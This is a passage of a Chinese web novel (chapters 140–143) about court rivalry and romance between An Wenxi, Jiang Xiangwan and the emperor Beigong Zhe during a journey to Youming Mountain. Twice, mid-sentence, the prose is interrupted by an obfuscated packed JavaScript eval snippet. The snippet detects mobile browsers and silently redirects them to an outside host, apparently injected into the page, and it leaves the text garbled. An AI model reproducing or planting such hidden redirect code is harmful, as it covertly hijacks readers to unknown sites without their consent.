袭匀也拉着欢凉起身避开,欢凉泪眼婆娑,却再也没有抽泣出声。 月清绝瞥了眼站在身后的月无双道:“你也离远些,我怕待会烧起来会有异样。” “我不怕,我是堂堂枫月谷的大小姐,还会怕这点毒么?”月无双说着从身上取出一个小瓷瓶递给月清绝道:“我一猜你就没带这百花清毒散。” 月清绝顿时眼睛一亮,赞道:“还是无双靠谱。” 月无双撇撇嘴,“瞧你那点出息,什么时候你能长点心啊,回头出去别说是我哥,丢人!” 月清绝眸光一敛,抬手去打月无双,“我不就这一次没带么,你就这么寒碜我,看我不打死你。” 月无双轻松躲过,挑衅般的扬了扬眉。 他拔掉瓶塞,将小瓷瓶内的粉末慢慢的倒在了无涯身上,这百花清毒散有解毒之效,不然待会一旦烧起来,会将他体内的毒弥漫到空气中。 月清绝点燃了无涯的尸身,大火足足少了一个时辰才逐渐熄灭,英俊非凡的无涯最终化作了一抔灰土,安文夕眼中尽是凄然。 由于在这里待了将近两个时辰,他们抵达沐阳的时候,已经暮色渐深。 风明所带领的风家军驻扎在了沐阳,原来驻扎在济州的夏军已经班师回朝。慕容清一走,奢华万分的青华宫便空了下来,因为安文夕比较厌恶青华宫,故而一行人皆宿在了风家营内。 令安文夕想不到的是,在这里她竟然看到了一个意外的人。 她刚从马车上下来,一道淡紫色的身影便急急朝北宫喆奔去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456486|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“江小姐,你怎么会在这里?”月清绝惊诧道。 江向晚挽着高髻,黛眉淡扫,一向苍白的脸色也有了几分红润,在淡淡的灯火下十分明艳。身上的紫色轻纱勾勒的身材分外婀娜娉婷,看上去极有精神。 “喆……” 北宫喆淡扫了江向晚一眼道:“先进去吧。”随即将视线放在了安文夕是身上,对她伸出手,嘴角不自觉地微勾,“走吧。” 看着他伸出的手,安文夕一阵犹豫,她身后的袭匀蓦地推了她一把,北宫喆顺势揽住她的腰,握住了她的手。 江向晚抿了抿唇,双手紧握,面上隐隐有一抹不甘。 袭匀心情颇好的挑了挑眉,不管怎样,也不能被别人踩下去不是。 惊魂离在不远处,看着这一幕,微微叹了口气。 进了营帐,江向晚急忙给北宫喆倒了杯茶,“喆,你这一路辛苦了,先喝杯茶解解乏。” 北宫喆没有接茶,看向惊魂道:“朕不是让你送她回去了么?” “喆,你不要责怪惊魂,是我执意要来。”江向晚急急解释道。 “你的病好了?”北宫喆的声音有些发冷。 “没有,喆,但是晚儿觉得如今精神还可以,就想待在你身边陪着你。晚儿知道,可能下一次晚儿就会彻底沉睡,死去,晚儿只想抓住这最后的时间……” “朕不会让你死。” 这霸气又肯定的语气令安文夕心中一颤。 “可是喆,你若是想用十座城池换那千年龙魄,晚儿决不答应,这大夏的江山在你眼中可是胜过生命啊,决不能因为晚儿就……” 此言一出,众人皆齐齐看向北宫喆,似乎在考究这件事的真实性。 安文夕心中顿时一滞,闷闷的透不过起来,双手紧紧的攥着衣袖,她明明知道江向晚这是故意说给她听的,这么明显的伎俩,可是她却控制不了自己不去在意。 月无双有些担心的看了眼安文夕,江向晚那个坏女人分明就是故意刺激夕姐姐的! 半晌,北宫喆开口道:“既然你想跟着就跟着吧。” 江向晚闻言脸上浮现喜色来,她就知道喆不会忍心再将她赶回去的,她赌对了! 北宫喆眼底的余光瞥了眼身侧的安文夕,她垂着眼睑,静静的捧着手中的茶,仿佛一切都与她无关。 可是北宫喆知道,她这是吃醋了,她在在意。 他微微扬起了唇薄,不动声色的将手放在了安文夕的大腿上,蓦地捏了一把,安文夕一惊,手中的杯子顿时从手中滑落,茶水一股脑的撒了安文夕一身。 北宫喆眼疾手快的从凳子上捞起安文夕,抱着她去营帐内换衣服,留下了面面相觑的众人和脸色有些挂不住的江向晚。 半晌,月无双反应过来,不禁暗叹一声,喆哥哥真是一个老奸巨猾的老狐狸,竟然用这样的办法抛下众人。 月清绝亦是嘴角一抽,这损招,不是他最擅长的么,北宫喆这小子什么学去的? 江向晚看着北宫喆着急的神色,恨不得将指甲齐齐掐进肉里,喆现在讨厌她了么,竟然接连两次不给她台阶下。 第140章 叫我名字 第一百四十章叫我名字 还是因为她故意刺激安文夕喆在怪她? 他不舍得安文夕受委屈,可是她呢?她所受的委屈都是他给的,他可有想过她的感受? 江向晚恨恨的望着北宫喆的背影,鼻头一酸,眼底隐隐的泛出血色来。 月清绝无意的瞥见了神色有些异常的江向晚,心中一惊,难不成她的身体又不行了? “江小姐,本公子看你气色不太好,不如我为你把把脉?” 江向晚蓦地一滞,眼底的血红蓦地褪去,微微扯了扯唇道:“不必了,不麻烦月公子。”说完飞快的出了营帐。 一旁沉默的惊魂立即跟了上去。 “哥,喆哥哥带着夕姐姐抛下她走了,她的气色能好到哪里去,你还明知故问。” 月清绝眉头微蹙,总觉得哪里有些怪怪的,可是又说不出来。 江向晚一直走了许久才停下来深吸了一口气,听到身后的脚步声,不用回头也知道是谁,也许只有他还记得关心她。 “你怎么也来了?” “我……”我不放心,惊魂到底没有勇气说出那句话,抿了抿唇道,“我来看看你。” “你放心,我很好,死不了的。”江向晚苦涩的笑了笑。 “晚儿……”惊魂将身上的披风披到江向晚身上。 江向晚蓦地一惊,转过身来将身上的披风丢给惊魂道:“我不需要你的施舍。” 惊魂攥紧了手上的披风,“我从未想过施舍你。” 他眼中飞快的划过一抹受伤,江向晚抿了抿唇,她明明不想伤害他的,可是就是控制不了自己。 “惊魂……” 惊魂微微避开了她的手,“你还是叫我名字吧。” 江向晚一愣,惊魂苦笑道:“难不成你连这也忘记了?”说完,他苦涩的转身。 “**……季**,刚才……对不起。” 惊魂脚步一滞,回头微微勾唇,“晚儿,不用说对不起,我陪你走走散散心?” 江向晚迟疑着点了点头,两个人一路无话,走了不久,惊魂看着江向晚孱弱的身姿道:“你的身子能吃得消么,我们不如回去吧。” “我还没有那没用。”江向晚顿住了脚步,看着惊魂道,“你说,今日的一切是不是我咎由自取?” 看着惊魂的沉默,她苦涩一笑,“我这辈子最大的心愿就是看着他一步步走上九五之尊,然后陪他共看锦绣山河,现在他已经君临天下,可是,他却爱上了别人,这怎么可以?” 惊魂心中没由来得涌出一阵心疼,她向来心气高,又在这种事情上遇挫,自然会不甘心。 “惊魂,你说我该怎么办,我真的做不到看着他和安文夕亲亲我我,我做不到看着他弃我而去。” “晚儿……”惊魂觉得眼前的女子已经将北宫喆爱到了骨子里,为了他,她可以放弃尊严和底线,可以放弃一切。 他不禁再次叹气,北宫喆看得到她的痴心与付出,却始终无动于衷,就像她看着他对她的付出却也无动于衷一样。 “惊魂,我真的……真的好不甘心。”突然,江向晚眸光一敛,眼底掠过一抹阴狠,“所以,我绝不会放过她,是她抢了我的喆!” 江向晚脸上的阴毒吓了惊魂一跳,这样的晚儿太陌生! “晚儿,你想做什么?” “做什么?自然是将喆抢回来!” “你不要再去伤害瑾淑妃了。”不然的话,皇上对你仅有的容忍也没有了。 “你不会是喜欢上她了吧。”江向晚凝眸道。 惊魂一滞,“你瞎说什么!” 江向晚邪佞勾唇,“不是最好,你知道,我和她之间永远不可能和平相处,我们永远是敌人!” “晚儿,你变了。”变得不择手段,变得心狠手辣,惊魂隐隐觉得今晚的江向晚有些异常,脾气比以前更加的暴躁不堪。 “我就是变了也是被逼的。”江向晚眼底迅速闪过一片血红,利眸蓦地扫向惊魂,厉声道,“你今天来就是来说教的么?如果是,立即给我滚开!” 惊魂握了握拳道:“夜深了,雾重,早些回去歇息吧。” 他再次给江向晚系上了披风,“你若是嫌弃的话,就扔了吧。” 他的爱虽然卑微,却不是没有尊严的。 江向晚闻言,解绳子的手蓦地一顿,双眸的血色渐渐退却,一阵凉意扑面而来,她犹豫了一瞬,随即拥紧了身上的披风。 —— 北宫喆抱着安文夕一路来到了他们的营帐内,将安文夕放在榻上,伸手欲解开安文夕的衣裙,却被安文夕一把按住了他的手,不悦道:“你做什么?” “我看看。” 由于那水只是温水,所以仅仅湿了衣服罢了,并没有什么大碍。再说了,都烫了这么长时间了,他才想起看不觉得太晚了么? 安文夕挪了挪身子,背对着北宫喆,他在这里,她并不想换衣服。 “还在吃朕的醋?” “没有。” “还说没有,朕都闻到醋味了。” 安文夕咬牙,“狗都闻不出来,你能闻出来了?” 北宫喆被她骂的笑了起来,“嗯,朕闻出来了。” 他一边打趣她,一边解她的腰带。 “死流氓,你给我滚开。”安文夕脸色涨红,他的手竟然不规矩,在她腰间乱摸!是不是也太无法无天了! “你都想哪去了,朕只不过是想给你换衣服罢了,你穿着湿衣服多难受。” “我……”安文夕顿时哑口,他被北宫喆摆了一道! “我自己来,不用你帮忙!” 北宫喆倒也没有勉强,低笑一声,径直去洗漱,将她一人留在了里间。 安文夕将外面的罩衫夹袄脱了下来,然后将湿透了的贴身衣服换了下来,匆匆洗漱完毕,赶在北宫喆来之前上了床,将自己整个儿用锦被裹了起来。 北宫喆看着裹成一团,缩在角落里的安文夕道:“躲那么远做什么,朕又吃不了你。” 安文夕装作没听见,然后将脑袋也一起遮了起来。 北宫喆褪去了身上的衣物,躺在安文夕身侧,抓住锦被的一角,用力一扯,将安文夕一下子扯到了他的怀中。 温软的身子蓦地贴在身侧,北宫喆眼底划过一抹狡黠,忍不住将她紧紧的拥在怀里。 可下一瞬,一把玄铁**蓦地抵在了他的胯下,冰凉的触感令他嘴角的浅笑顿时凝固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456487|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只见身侧的女子一把将他推开,她笑得肆意,“你若是不老实,我就废了你的老二!” 北宫喆眸光一凛,半晌他俊美无斯的脸上浮现了一抹强忍的痛意,额头上沁出一层细汗。 安文夕狐疑的瞥了他一眼,犹豫道:“你怎么了,难道我把你的伤口弄开了?” 北宫喆淡淡点了点头,安文夕立即放了下了手中的**,小心翼翼的褪去北宫喆的上衣,露出他精瘦的上身。 看着他后背上刚长出的粉色的新肉,安文夕暗呼不好,上当了! 北宫喆不待她反应,一把将她捞至怀中,随手一掌击灭了跳跃着得红烛。 “睡觉。”软香在怀,北宫喆满意的闭上了眼睛。 安文夕气的直翻白眼,她从没想到北宫喆竟然会如此无赖,她磨了磨牙,一口咬在揽着她的手腕上,谁知那人根本不为所动,偏偏他锁着她的力道,她又挣脱不开。 “北宫喆……” 安文夕唤了几声,身侧的人充耳不闻,他的呼吸均匀,仿佛已经进入了睡眠。 安文夕暗叹了一口气,不再挣扎,闭上了眼睛,慢慢睡去。 黑暗中,北宫喆倏地睁开了眼睛,嘴角扯起一道微不可见的弧度。 第二日一早,用过早膳,便要启程幽冥山。 安文夕和欢凉、月无双早早的上了马车,由于昨晚她一直被北宫喆抱在怀中,那力道几乎要将她勒得窒息,她半天才在迷糊中睡去。用过早膳,此时正困得厉害。 好在马车够大,安文夕上了马车,就靠在软榻上补觉。 江向晚环视了一下队伍中的马车,只有安文夕做得那辆马车比较宽大舒适,她犹豫了一下,走向那辆马车。 她是将来的皇后,若是坐的马车比安文夕的寒碜,岂不是矮了安文夕一头,那她的脸还往哪放? “江小姐,你怎么来了?”欢凉惊道。 安文夕被欢凉惊醒,掀开了眼皮,瞧了眼立在车前的江向晚,再次闭上了眼睛。 “怎么,我就不能来了么?” “不能。”月无双直接挡在门口,撅着嘴看向江向晚。 “月小姐,你好像没有权利阻止我进去吧。” “哼,反正有我在,就是不让你进!马车有的是,你干嘛偏偏和我们挤一辆?” 江向晚正欲开口,眼角偏见了一抹月白的衣角,立即垂下了头。 “无双,你又胡闹了?” “哥,我哪有胡闹,她非得和我们乘一辆马车,我猜她一准没安好心。” “请月小姐不要血口喷人。” 月清绝讪笑了笑,“江小姐不要见怪,无双她向来口无遮拦。” “月公子放心,我是不会和一孩子一般见识的。” “你——”月无双咬牙。 “无双,赶紧让开,让江小姐上去。” “哥……” “无双。”一声清冷的声音传来,月无双立即闭了口。 “喆……”江向晚期待的看着北宫喆。 北宫喆扫了江向晚微微蹙了眉,半晌淡道:“你去吧,无双不要再胡闹。” 月无双委屈的撇了撇嘴,万分不情愿的给江向晚让开了路。 第141章 拿什么比 第一百四十一章拿什么比 安文夕转过身子浅寐,她实在觉得和江向晚同乘一辆马车尴尬的厉害。 月无双看着江向晚优雅的上了马车,裙裾逶迤,仪态万分的样子,便气不打一处来,这个女人真是无时无刻不在显摆着优越感。 看着月无双黑着一张脸,月清绝冲她招招手道:“无双丫头过来,和哥哥一起吧。” 月清绝实在担心月无双再把江向晚气的一命呜呼了,那就糟了。北宫喆这小子如今虽然对江向晚的行径有些反感,毕竟十几年的情谊,总是念着旧情的。 月无双犹豫了一下,欢凉对她道:“你去吧,放心,这里有我和袭匀呢。” “好的,小嫂子,那无双就先过去了。” 欢凉一愣,瞥了眼对面的月清绝顿时了然,脸颊顿时一红,瞪了眼无双,掀开了车帘,进入车内。 “嘿,你这个小丫头片子乱叫什么,信不信我打死你。”袭匀刚走过来不悦道。 “欢凉就是我的小嫂子。”月无双回头冲他冲了吐舌头,然后飞快的窜上了月清绝的马车。 袭匀磨了磨牙,坐上了马车,对里面道:“都做坐好了没,启程了!” 安文夕浅寐,欢凉挨着安文夕闭目养神,直接将江向晚晾在了那里。不过她也不在意,她本来就是想的把面子挣回来,她现在更是不想和安文夕说话。一时间,整个马车内静的厉害。 本在安文夕腰间小竹笼里的小青蛇不知道什么时候自己从冬眠中醒了过来,慢慢的爬到了安文夕的胸口,钻进了她的衣服,安文夕发觉之后,失笑一声,这小东西倒是会找地方。无双说,这小东西一旦认了主人就不会咬主人的,安文夕对它一向很放心。她眼皮沉得厉害,不多一会便沉沉睡了过去。 不知过了多久,耳边突然传来江向晚一声撕心裂肺的叫醒,把安文夕直接从睡梦里吓醒。 “蛇,有蛇!”江向晚警惕的盯着即将要爬到她身上去的小青蛇,她平常最害怕这些丑陋的爬行动物,一时间吓得连剑都忘记了拔。 “江小姐,对不住了。” 安文夕缓缓坐起身子,一把将小青蛇捞回了竹笼里。 江向晚半天才缓过神来,直勾勾的盯向安文夕腰间的竹笼,这个东西她以前也见过,难道安文夕一直随身携带着那条蛇?她想到这里,又一阵毛骨悚然。 这小青蛇多可爱,哪有那么吓人。欢凉嘴角扯起一抹讥讽,她还以为江向晚多大能耐呢,这么个小东西就吓破胆了。 江向晚端起桌上的茶水抿了一口,压下心中的惊慌,“我劝瑾淑妃还是不要将这么危险的东西放在身上。” 安文夕勾唇,“多谢江小姐好心提醒,但是这小青蛇是我养的宠物。” 宠物? 江向晚微惊,冷冷道:“那就麻烦瑾淑妃看好它。” 安文夕啜了口茶,不理江向晚,打算将沉默进行到底。 只见江向晚雍容万千的放下了手中的茶盏,微不可见的皱了皱眉,“这茶是瑾淑妃喜欢的吧。” 安文夕抬头看了她一眼,没有说话,这茶不过是欢凉随意拿进来的。她喝茶不像别人那样挑剔,极品贡茶喝得,茶末子也喝得。 江向晚浅笑,那笑张扬着自信与淡淡的不屑,“只怕瑾淑妃现在还不知道喆的口味吧?” 安文夕斜斜的靠在一旁,静静的听着江向晚的说话,并不是她想沉默,别人就会忽略她的存在的。更何况,昨天江向晚在北宫喆那里吃瘪出了丑,今天她自然要更加的膈应她,在她这里讨回来。 “喆向来喜欢喝明前龙井,而且只喝第三遍,就是泡茶所用的水和烧火的炭都极为挑剔……” 安文夕猛然想起仅仅见过几次的尚凝萱,那日在青碧潭时,她好像就是因为打翻了北宫喆的蒙顶茶**向晚罚去采集露水。 北宫喆和她在一起三年,也没见得他的口味有多挑剔,向来是她给他泡什么茶,他就喝什么茶。 看着安文夕的沉默,微黯的眸光,江向晚心情分外舒畅,她的心情变化好像并不是她所控制一般,但是却令她莫名的兴奋。 “喆最不喜欢的就是这铁观音。”江向晚淡淡瞥了眼小几上的茶,“说来喆的口味还是我给惯出来的,以前在北襄,向来是我喝什么茶就给喆泡什么茶,久而久之,喆的口味就和我一样了,我爱喝什么茶喆就爱喝什么茶,我不爱喝的茶,喆也不爱喝,偏偏这铁观音是我最不喜的。” 欢凉看着江向晚挑衅的眉眼,心中气不打一出来,看了眼脸色没有变化的安文夕,公主忍得了她,她欢凉忍不了。 “江小姐,又没有人逼你喝,不爱喝拉到。” 江向晚没有在意欢凉的脸色,目光在安文夕脸上流连片刻,浅浅道:“瑾淑妃,我想喆并没有告诉你他的喜好吧。” 看着江向晚得意的眉眼,安文夕心中一阵压抑,分外不爽,淡淡道:“我的确不清楚他的喜好,可是他却将我的喜好记得清楚。” 江向晚闻言脸色顿时一变,嘴角再也扯不出半分笑意。 安文夕懒懒的闭上了眼睛,半晌,只听得江向晚再道:“你可知万寿节并不是喆的生辰?” 江向晚此时就想去疯狂的刺激安文夕,就想让她知道喆和她之间不是她安文夕可以插足进来的! 安文夕仍然闭着眼睛,丝毫没有睁开的意思,今天这江向晚也不知道在发什么疯。 北宫喆的生辰她自然知道不是万寿节那日,而是陌姑姑做长寿面的那日。 “喆说**他的生辰到底是哪一日,可是他愿意把我的生辰当做他的生辰,这么多年来,他一直都和我一起过生辰。而我的生辰就是五日后,瑾淑妃这次可别忘记了给喆送礼物啊。” 江向晚这是在讽刺她在万寿节那日因为刺客突然而至没有给北宫喆送礼物一事。 安文夕睁开了眼睛,和对面笑意盈盈的女子对视了一眼,突然想起在每年这个时候,北宫喆都要往北襄送一份神秘礼物,现在想来,应该是他送给江向晚的生辰礼物吧。 而她的生辰呢,第一年她在生辰之时 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安文夕霍然紧盯着江向晚,冷冷道:“说够了?”然后不待她说话,一把抽出了七节鞭朝江向晚身上抽去,欢凉一惊,立即去拦,“公主,不要……” 可惜,已经晚了,安文夕手中的鞭子即将要招呼到江向晚面门,欢凉根本无法阻止,江向晚此时微微愣了神色,但脸上丝毫没有半分惧色。 下一瞬,安文夕眸光一敛,手中的鞭子一偏,带着凌冽的力道砸到了车壁上,惊得外面的袭匀一颤,立即掀开了车帘,“怎么还动起手来了?” 安文夕不由分说再次扬起了鞭子,江向晚依然不躲不闪,眼底有着淡淡的挑衅,仿佛不相信安文夕敢在北宫喆的眼皮子底下打她。 “啪——” 安文夕嘴角一勾,鞭子顿时砸在了见江向晚身上,这一鞭安文夕使得使巧劲儿,虽然鞭声大,但却丝毫不会留下痕迹。 “当真以为不敢打你么?” 江向晚神色一滞,愣了一瞬,忙捂住了被安文夕抽过的地方。 欢凉和袭匀对视了一眼,这么大的声音,只怕马车外面也会听得清清楚楚。 果然,北宫喆的声音响了起来,“停车,出了何事?” 袭匀瞥了眼慢慢靠近的北宫喆,不禁暗骂,明明知道她们不和,还让她们同乘一辆马车,不出事才怪? 一只骨节分明的手掀开车帘,视线对上江向晚隐忍着痛意的小脸,眉头微蹙,眸光再次看向一旁握着七节鞭的安文夕,心中顿时明了。 看着安文夕眼中泛出的淡淡讥讽,北宫喆眸光微冷,“你打她了?” “是。”安文夕迎上他的目光,“因为她该打!” 北宫喆嘴角微抿,长臂将安文夕从车中捞了出来,粗鲁的扔上了马背。 “喆……” “你没事吧?” 江向晚摇了摇头,“我没事。”这一下的确不疼。 “还是让雪嫣给你上下药吧。”北宫喆随手将一个小瓷瓶丢给了她,然后吩咐青玄将最后一辆马车内的雪嫣带了过来。 安文夕收了手中的七节鞭,不去看一旁的男人。 第142章 怎样解释 第一百四十二章怎样解释 欢凉见雪嫣上了马车,立即掀开车帘下车,让她去看她们主仆得意的嘴脸,她只怕也会控制不住出手。 “小丫头,过来过来。”月清绝见欢凉出来,立即朝她摆手道。 欢凉没有犹豫就上了月清绝所在的马车,袭匀一看也立即扔了手中的缰绳,颇为傲娇的走近月清绝。 “你怎么来了呢,那里少不了你这个赶车的。”瞧着月清绝的架势,分明就没有打算让他上车。 袭匀随手一弹,一粒石子掷向月清绝,在月清绝躲避之时,袭匀翩然上了马车。 “你们都不在那里,难不成让我陪着那江向晚。” 不远处的惊魂扫了眼江向晚坐的马车,寻求了北宫喆的同意之后,上去赶车。 安文夕看了眼月清绝,还没有来得及下马,身后传来北宫喆的略带冷意的声音道:“你敢下去试试?” 威胁? 安文夕双手一撑,利索的下马。 北宫喆纵身一跃,飞快的翻身上马背,随手一捞,握住她的柳腰,将她再次带上马背,“朕在这里,你还想去哪?” 安文夕脸色丨微沉,一掌将北宫喆放在她腰间的手拍掉。 北宫喆双腿一夹马腹,胯下的蹄血玉狮子顿时奔腾起来,安文夕身子蓦地一顷,北宫喆顺势揽住了她的腰,力道之大,根本不容她挣脱。 半晌,北宫喆贴在她的耳翼道:“你不觉得应该给朕解释些什么么?” “你所看到的就是事实,我还怎样解释?” 她伤了他的青梅竹马,他不去安慰,反而将她带上了马,这是什么意思? “是不是她对你说了什么?” 安文夕心中讥笑,他让江向晚和她同乘,分明就是故意让她来刺激她的,如今还来问她? “这两天她情绪不太稳定,她说什么你不必去在意。”北宫喆看着她嘴角噙着的讥笑,顿了顿道,“她身子不好,你别和她计较。” 呵……不舍得了? 安文夕心中一涩,嘴角的讥意夸大,北宫喆眸光一黯,握紧了手中的缰绳。 马车内,雪嫣十分担忧的看着江向晚道:“小姐,你伤到哪了,奴婢给你上药吧。” “不必了。”安文夕那一下本就没什么大碍,她不过是警告她罢了。 她微微掀开车帘,看着前方北宫喆和安文夕并骑一马,眼中涌起恨意来,迟早一日,她要将喆从她手中夺回来。 如今,好戏才刚刚开始,她不着急,江向晚嘴角勾起的弧度透着阴狠。 一旁的雪嫣吓了一跳,蓦地垂下了眼睑,这样的小姐陌生的可怕。 经过一天的行程,日暮时分抵达了青桐,他们在客栈落脚后,便在雅间用晚膳。江向晚静静地看着北宫喆,意思很明显,她要和北宫喆一起坐。而北宫喆紧紧的抓着安文夕的手,意思也很明显,他要安文夕和他坐。 这样的局面僵持了一瞬,江向晚浅笑道,“喆,我挨着你右下手坐便是。” 她先发制人,脸上挂着温婉的笑意,神情宛若女主人一般,悠然落座。 江向晚坐在他的右下手,她坐在北宫喆的左下手,安文夕咬了咬下唇,她可没有兴趣让他去左拥右抱! “喆……”江向晚看向北宫喆的眼神中有丝祈求。 北宫喆扫了她一眼,倒也没拒绝,直接坐在了她身侧,只是握着安文夕的手更紧了几分,拉着她入了座。 “奔波了一日,不饿么?” “还好。”安文夕说完用眼底的余光瞥了眼一旁的欢凉等人,欢凉袭匀立即会意,掀开衣袍,直接坐在了安文夕身侧。 江向晚瞥了眼欢凉,不动声色的看了眼北宫喆,抿了抿唇,安文夕的婢女竟然和主子同坐,难道这也是喆默许的? 雪嫣微微垂着头,她是无论如何也不敢和皇上同坐的! 桌上都是一些具有本地特色的菜肴,江向晚一如以前一样为北宫喆殷勤的布着菜,安文夕静静地看着这一幕,感觉自己好似一个局外人一般。 所有的饭菜入口,皆味如嚼蜡,安文夕顾自往嘴里扒着米饭,心中沉闷的厉害,而脸上依旧平淡如水。 北宫喆看着安文夕不起波澜的脸颊,眸光飞快的划过一抹暗色,执着竹筷,给安文夕布菜,举手投足之间的尊贵优雅,仿佛是从骨子里带出来的一般。 江向晚夹菜的手顿时一顿,突然,腰间传来一阵滑腻的触感,她的脸色顿时一变。 “啊!” “蛇!”她手中的筷子应声而落。 北宫喆闻声望去,江向晚脸色苍白,蓦地将身上的青蛇甩到地上,飞快的躲进他的怀中,紧紧攥着他胸前的衣服。 “不要!”安文夕一惊,立即将地上的小青蛇捡了起来。 江向晚脸色稍稍缓和,依旧没有放开北宫喆,“瑾淑妃,我并没有得罪你,你为何三番五次的用这丑东西来暗算我?” 北宫喆脸色有些微冷,稍稍拉下了些他和江向晚的距离。 安文夕在小青蛇的脑袋上弹了一下,然后将它放回小竹笼,抬眼看向江向晚,嘴角有些不屑,“若是我有心暗算,你以为你还能活到现在?” “你——”江向晚咬着下唇,微白的脸上竟然带出了几分我见犹怜。 “我的小青这么喜欢江小姐,我猜江小姐身上也许有它喜欢的东西吧,不如让月公子看看?” “你胡说,我身上怎么会有这个丑东西喜欢的?” “有没有,让月公子或者无双检查一下便知。” “我才不要给她检查。”欢凉撇撇嘴。 江向晚看着一旁的月清绝咬牙道:“月公子,男女授受不亲。” 安文夕唇角勾起,不再纠结这件事,扫了眼北宫喆道:“我吃好了,先告辞了。” 安文夕前脚一走,北宫喆立即跟了上去,安文夕刚回到自己的房间,瞥了眼开门而入的男人,刚想问你怎么舍得抛下你的青梅竹马?还未开口,发觉这句话酸的厉害,继而挑眉道:“你走错房间了吧?” 这一次,安文夕坚持和北宫喆一人住了一间客栈。 “你不觉得我们住两间房很浪费?” “你还差这点银子?” “勤俭节约,应当从朕做起。”北宫喆顾自倒了杯茶,浅 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北宫喆远远望见院中有道清瘦的人影,从她身边经过时对她道:“夜里凉,早些回去吧。” “喆,你,你还记得五日后是什么日子么?”江向晚叫住了他。 北宫喆脚步一滞,“朕记得,五日后是你的生辰。” 江向晚眼中洋溢着笑意,“也是你的。”说着将手中紧握着的东西塞到了他的手中。 北宫喆展开一看,是一只秀的皱巴巴的荷包,勉强可以看出上面是两只鸳鸯戏水。 女子送予男子荷包,意思再明显不过。 江向晚有些不好意思道:“喆,你知道,我从小就对这些东西不感兴趣,你以前也经常取笑我。你还记得么,小时候你曾说我若是学绣花,绣的第一件东西要送给你。” “晚儿……” “喆,不要再拒绝我了,我好歹是个女子,我也是要脸面的。”江向晚蓦地抱住了北宫喆,此时她的脸色殷红一片,她这是鼓足了勇气,才敢再次向他表达爱意。 “砰——”安文夕手中一滑,白瓷杯盏顿时摔成了碎片。 看着那对拥在一起的身影,她再也移不开眼睛。 还爱么?她试着问自己,她只知道她的心中泛起了无边的酸意。 安文夕抬手关上窗子,有些无力地滑下了身子,半晌,她和衣躺在了床上,闭上眼睛想将刚才那一幕从脑海中拔除。 “晚儿。”北宫喆掰开了江向晚紧紧扣住他的双手,将手中的荷包递给她。 “晚儿,以后朕不再和你一起过生辰。而且,朕已经收了另一个女子的荷包,怎么还能再收你的?” 江向晚紧紧攥着手中的荷包,咬唇道:“你不和我一起过生辰,难道要和安文夕一起过么?” “不是。” “你骗我,你骗我!”江向晚急急后退两步,蓦地笑了,“喆,你说我哪里比不上那安文夕,为什么你偏偏喜欢她?” “你没有比不上她,没有为什么,只是朕就是喜欢她罢了。” 第143章 只她一个 第一百四十三章只她一个 “呵……这么多年我那么的喜欢你,为了你我什么都可以放弃,你究竟把我当什么?” “晚儿,你陪着朕出生入死多年,在朕心里,你比朕的命重要,朕不会不管你的生死,即便用十座城池换千年龙魄,朕也肯。只是,朕的心里只有她一个。” 江向晚低啜出声,嘤嘤而泣,看向北宫喆的眼神有不甘有绝望。 “这次幽冥山那之行,你要跟着朕也不反对,届时,再为你寻几株雪上冰莲。不过,你也不要再让朕失望,不要再对她起心思。”说到最后,他润泽的声音里已经有了几分了冷意。 “在你眼里,我就是一个无恶不作的坏女人么?你时时刻刻提防着我对她出手,我的身体成了这个样子,我还能做什么?”江向晚脸上挂着泪痕,神色凄然。 片刻,江向晚抬起头道:“喆,五个月后,你还会娶我么?” “晚儿,朕以为你和你爹不同,会懂朕向你提亲的用意的。” “呵……我懂了。”江向晚的眸光一点点灰暗下去。 北宫喆微微拍了拍她的肩膀,“夜深了,回去吧。” 江向晚看着北宫喆的身影,她紧握着拳,眼底汹涌着血色,眼神也变得凌冽,脸上挂着的泪痕顿时消失不见。 她江向晚想要的,就是她得不到,别人也休想得到!他不娶她,那她就逼着他娶她。他在意安文夕,那她就将她毁掉! 北宫喆走到他的房间,伫立在门前,眸光暗转,看了眼安文夕所在的房间,灯火如豆,晕出一圈昏黄的灯光来。 他犹豫了一瞬,身形一掠,直接越窗而入,悄无声音的来至安文夕榻前,看着缩成一团的小人儿,心中微动,他到底是没有忍住。 他还未上榻,安文夕突然转过身来,眼底飞快的划过一抹震惊,然后涌出了淡淡的厌恶,“你怎么来了?” “朕认床,没有你,朕睡不着。”北宫喆脸上线条冷然,这句话却透出几分撒娇来。不过,他的确没有说谎,他早已经习惯了她在身侧,没有她,他总觉得少了些什么。 他的眼神灼灼,安文夕看了眼软纱帐外的红木椅,他可以不走,但是她无论如何也不会让他在床上睡,虽然她知道他并不会对她做什么。 北宫喆嘴角微抿,“好,我在外面守着你。” 烛灯熄灭,淡淡的月光洒进室内,坐在红木椅上的那道高大的身影一直印在了安文夕的脑海中,挥之不去。 从青铜出发,不过两日就已经抵达了西楚境内,西楚地处九州大陆西南,多密林山谷,尤其是位于西楚南部的幽冥山一带。此处到处是高耸巍峨、不见其端的百年古树,常年郁郁葱葱,遮天蔽日。 五日后,他们终于到了幽冥山山脚附近,此处十分湿潮,地上的卵石生着青苔,连空气中都带了几分湿意。 灌木丛生,绿意弥漫,手腕粗的藤蔓缠缠绕绕,错乱的交织在一起,肆意生长。丛林深处,仿佛升腾着袅袅雾气一般,隐隐的有些看不真切。 